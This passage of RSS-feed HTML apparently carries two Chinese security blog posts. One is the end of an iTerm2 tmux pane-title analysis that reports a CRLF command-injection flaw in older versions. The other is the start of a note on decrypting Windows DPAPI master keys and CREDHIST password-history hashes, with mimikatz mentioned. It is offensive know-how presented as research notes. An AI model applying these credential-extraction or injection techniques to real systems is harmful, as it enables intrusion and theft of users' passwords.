!important;"> YES</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    _profileNameFieldForEditCurrentSession</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">stringValue </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> tmuxPaneTitle</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> YES</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">实际上就是把我们的pane标题传入到了block这个函数中。然后实际就是把标题赋值给了KEY<span style="box-sizing: border-box;">TMUX</span>PANE<span style="box-sizing: border-box;">TITLE这个全局变量（全大写，应该是全局吧...），最后传递给了</span>profileNameFieldForEditCurrentSession。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">跟到这里就无疾而终了，因为从始自终都只执行了一次 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">display</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">-</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">message</span></code>，没有将 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="com" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">#{pane_title}</span></code>的值拼接入某个语句，当然也有可能是在另外一个文件使用到了，但我实在是看不懂这个语言，并且Iterm2偷偷把我下的所有版本都给升级到最新了<span style="font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: start;white-space: pre-line;">，只好作罢</span><span style="font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: start;white-space: pre-line;">。</span></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">最后，在3.30版本是一个分水岭，以这版本为界限，增加了修改标题的渠道，低于这个版本的只能去设置里面改，而高于这个版本的则可以使用 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="typ" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Escape</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">sequences</span></code>.</p><h2 style="margin-bottom: 1rem;font-size: 24px;white-space: normal;box-sizing: border-box;line-height: 1.35;text-align: start;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">演示</h2><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;"><strong>&lt; 3.30（实际上就是个CRLF-&gt;命令注入，注入点跟上述的不大一样，不过没继续跟）</strong></p><p><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=6ceb4437&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFnyLHzR8IpTonLQJQOJLvSa7WW4jzIicQ6m30twibuOJF52SBiaiaDp7ZGuN6vMoARAibdaUHj2cXogqicR7WNotIAHA%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=1d4c5595&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA3MzI1MTIzMw%3D%3D%26mid%3D2247483682%26idx%3D1%26sn%3D9a69f705c0f65bf629118b623784ef1c%26subscene%3D0&amp;v=wxv_1026869509946310658"></video></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;"><strong>3.3.0<span style="font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: start;white-space: pre-line;">=&lt; version &lt;</span>3.3.6</strong></p><p><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=dc9a20c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFnyLHzR8IpQ60pd8qyUFjBeUQDtmIRJMpz1OaATadTfaFMOz2N10ycF5HiciaRDiaaOf14KYPtsrTrfXPJ5nWojXA%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=8fa91bd0&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA3MzI1MTIzMw%3D%3D%26mid%3D2247483682%26idx%3D1%26sn%3D9a69f705c0f65bf629118b623784ef1c%26subscene%3D0&amp;v=wxv_1027978377355034626"></video></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;"><br/></p>



<p><a href="2247483682">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4ca78461&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA3MzI1MTIzMw%3D%3D%26mid%3D2247483682%26idx%3D1%26sn%3D9a69f705c0f65bf629118b623784ef1c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 12 Oct 2019 15:26:00 +0800</pubDate>
    </item>
    <item>
      <title>通过Dpapi获取Windows身份凭证</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA3MzI1MTIzMw==&amp;mid=2247483665&amp;idx=1&amp;sn=01a45c841616cf26bd68c4b062ceff23</link>
      <description>使用Dpapi的Masterkey解密用户的敏感信息</description>
      <content:encoded><![CDATA[<p>
原创 <span>Lz1y</span> <span>2019-10-09 17:35</span> <span style="display: inline-block;"></span>
</p>

<p>使用Dpapi的Masterkey解密用户的敏感信息</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=5fd6e1ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFnyLHzR8IpQIvQHm9SZFnNCMY4kCBNWzWkQEuHib6ObWsQSlYiaIEQnEpNPuuB7E29iavaNJNyRJFBPpdDHnKSPHA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><br/></p><p style="box-sizing: border-box;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">一开始想写的比较多，后来想了下还是算了，作为笔记简单记录下。</p><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">Dpapi简述</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">从Windows 2000开始，Microsoft随操作系统一起提供了一种特殊的数据保护接口，称为Data Protection Application Programming Interface（DPAPI）。其分别提供了加密函数CryptProtectData 与解密函数 CryptUnprotectData 以用作敏感信息的加密解密。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">其用作范围包括且不限于：</p><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);font-size: 14px !important;"><span style="box-sizing: border-box;">IE、Chrome的登录表单自动完成</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);font-size: 14px !important;"><span style="box-sizing: border-box;">Powershell加密函数</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);font-size: 14px !important;"><span style="box-sizing: border-box;">Outlook, Windows Mail, Windows Mail, 等邮箱客户端的用户密码。</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);font-size: 14px !important;"><span style="box-sizing: border-box;">FTP管理账户密码</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);font-size: 14px !important;"><span style="box-sizing: border-box;">共享资源文件夹的访问密码</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);font-size: 14px !important;"><span style="box-sizing: border-box;">无线网络帐户密钥和密码</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);font-size: 14px !important;"><span style="box-sizing: border-box;">远程桌面身份凭证</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);font-size: 14px !important;"><span style="box-sizing: border-box;">EFS</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);font-size: 14px !important;"><span style="box-sizing: border-box;">EAP/TLS 和 802.1x的身份凭证</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);font-size: 14px !important;"><span style="box-sizing: border-box;">Credential Manager中的数据</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);font-size: 14px !important;"><span style="box-sizing: border-box;">以及各种调用了CryptProtectData函数加密数据的第三方应用，如Skype, Windows Rights Management Services, Windows Media, MSN messenger, Google Talk等。</span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);font-size: 14px !important;"><span style="box-sizing: border-box;">etc</span></span></p></li></ul><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">由于功能需求，Dpapi采用的加密类型为对称加密，所以只要找到了密钥，就能解开物理存储的加密信息了。</p><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">Master Key Files</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">存放密钥的文件则被称之为 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="typ" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Master</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;"></span><span class="typ" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Key</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;"></span><span class="typ" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Files</span></code>，其路径一般为 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">%</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">APPDATA</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">%</span><span class="str" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/Microsoft/</span><span class="typ" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Protect</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/%</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">SID</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">%</span></code>。而这个文件中的密钥实际上是随机64位字节码经过用户密码等信息的加密后的密文，所以只需要有用户的明文密码/Ntlm/Sha1就可以还原了。</p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.0463320463320462" data-s="300,640" style="" data-type="png" data-w="777" src="https://wechat2rss.xlab.app/img-proxy/?k=5e712725&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQIvQHm9SZFnNCMY4kCBNWzaBwfe2l3p9qheVNLSk5wicQ8BG6DibfLjhyucq47A5xicPXWNbkrr2uEA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;color: rgb(80, 97, 109);font-family: Helvetica, Arial, sans-serif;font-size: 15px;text-align: start;white-space: normal;">其中，除了GUID命名的文件之外，还存在一个名为 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="typ" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Preferred</span></code>的文件。</p><blockquote style="box-sizing: border-box;margin-bottom: 1.2em;padding: 15px 15px 15px 1rem;color: rgb(129, 145, 152);border-left-width: 6px;border-left-color: rgb(96, 125, 139);font-size: 14px;line-height: 18px;background: rgb(242, 247, 251);font-family: Helvetica, Arial, sans-serif;text-align: start;white-space: normal;"><h3 style="box-sizing: border-box;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">Preferred</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;">为了安全考虑， <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="typ" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Master</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;"></span><span class="typ" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Key</span></code>是每90天就会更新一次，而 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="typ" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Preferred</span></code>文件中记录了目前使用的是哪一个 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="typ" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Master</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;"></span><span class="typ" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Key</span></code>文件以及其过期时间，这里这个文件并没有经过任何加密，只需要了解其结构体就可以任意篡改，三好学生师傅已经写过相关内容，我就不在赘述了：<br style="box-sizing: border-box;"/><a href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%8E%B7%E5%8F%96Windows%E7%B3%BB%E7%BB%9F%E4%B8%8BDPAPI%E4%B8%AD%E7%9A%84MasterKey/" target="_blank">https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%8E%B7%E5%8F%96Windows%E7%B3%BB%E7%BB%9F%E4%B8%8BDPAPI%E4%B8%AD%E7%9A%84MasterKey/</a></p><h3 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">CREDHIST</h3><p style="box-sizing: border-box;margin-top: 15px;">此外，在 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">%</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">APPDATA</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">%</span><span class="str" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/Microsoft/</span><span class="typ" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Protect</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span></code>目录下还有一个 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">CREDHIST</span></code>文件。由于 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="typ" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Master</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;"></span><span class="typ" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Key</span></code>的还原与用户密码相关，所以需要保存用户的历史密码信息以确保接口的正常使用，而此文件中就保存了用户的历史密码（Ntlm hash/sha1 hash）。感兴趣的可以自己去查查资料，mimikatz中有这个相关功能，但是没有案例，需要自行阅读源码~</p></blockquote><p style="box-sizing: 